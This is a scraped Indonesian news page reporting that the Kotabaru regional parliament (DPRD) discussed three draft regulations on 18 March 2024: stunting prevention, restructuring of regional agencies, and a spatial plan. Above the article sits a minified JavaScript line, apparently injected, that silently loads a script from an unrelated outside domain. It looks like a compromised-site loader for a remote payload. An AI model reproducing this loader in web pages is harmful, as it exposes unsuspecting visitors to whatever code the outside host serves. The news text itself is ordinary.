(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD KOTABARU

Tiga Raperda Dibahas dalam Paripurna DPRD Kotabaru


KANALKALIMANTAN.COM, KOTABARU – Ketua DPRD Kabupaten Kotabaru, Syairi Mukhlis memimpin rapat Paripurna DPRD Kotabaru, masa persidangan II rapat ke 4 tahun 2023/2024, Senin (18/3/2024).

Agenda rapat itu membahas tiga buah Raperda, yakni Raperda tentang pencengahan dan penanggulangan stunting, Raperda tentang pembentukan dan susunan perangkat daerah, Raperda tentang rencana tata ruang wilayah Kabupaten Kotabaru tahun 2024/2025.

Rapat paripurna juga dihadiri oleh Wakil Ketua I dan Wakil Ketua II DPRD Kotabaru, Sekretaris Daerah Kotabaru, Forkopimda, SKPD serta 19 anggota dewan.

Sekretaris Daerah Kotabaru, H Said Akhmad Assegaf yang membacakan sambutan bupati Kotabaru memaparkan tiga buah Raperda yang akan disampaikan untuk dibahas secara mekanisme yang telah ditetapkan.

“Raperda tentang pencengahan dan penanggulangan stunting, dalam rangka pencengahan dan penanggulangan stunting merupakan upaya melindungi segenap bangsa Indonesia, ekselerasi percepatan penurunan stunting di Kabupaten Kotabaru diperlukan peran serta seluruh pemangku kepentingan di daerah, masyarakat dan dunia usaha secara terpadu dan selaras sesuai dengan strategi nasional percepatan penurunan stunting,” papar Sekda.

Dia menambahkan, Raperda tentang pembentukan perangkat daerah perlu melakukan perubahan untuk meningkatkan pelayanan kepada masyarakat.

Selain itu, penyelenggaran Pemerintah Daerah yang efektif dan efesien dalam pelaksanaan pembangunan dan peningkatan kesejahteraan masyarakat di daerah serta optimalisasi untuk meningkatkan efektivitas kinerja perangkat daerah dalam memberikan pelayanan kepada masyarakat secara maksimal perlu melakukan perubahan atas susunan perangkat daerah.

Dia menatakan, Raperda tentang rencana tata ruang wilayah Kabupaten Kotabaru tahun 2024/2025.

“Untuk mengarahkan pembangunan di Kabupaten Kotabaru dengan memanfaatkan ruang wilayah secara berdaya guna, berhasil guna, serasi, selaras, seimbang, dan berkelanjutan dalam rangka meningkatkan kesejahteraan masyarakat dan pertahanan keamanan dalam suatu sistem perencanaan tata ruang dan dalam rangka pengendalian pemanfaatan ruang, maka perlu disusun secara rencana tata ruang wilayah,” tambah dia.

Hasil tiga buah Raperda tersebut diserahkan Sekretaris Daerah kepada Ketua DPRD dan selanjutnya diberikan kepada salah satu perwakilan anggota DPRD dari fraksi partai PDI-Perjuangan untuk dibahas bersama dan nanti ditetapkan menjadi Peraturan Daerah Kotabaru. (kanalkalimantan.com/muhammad)

Reporter: muhammad
Editor: Dhani


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.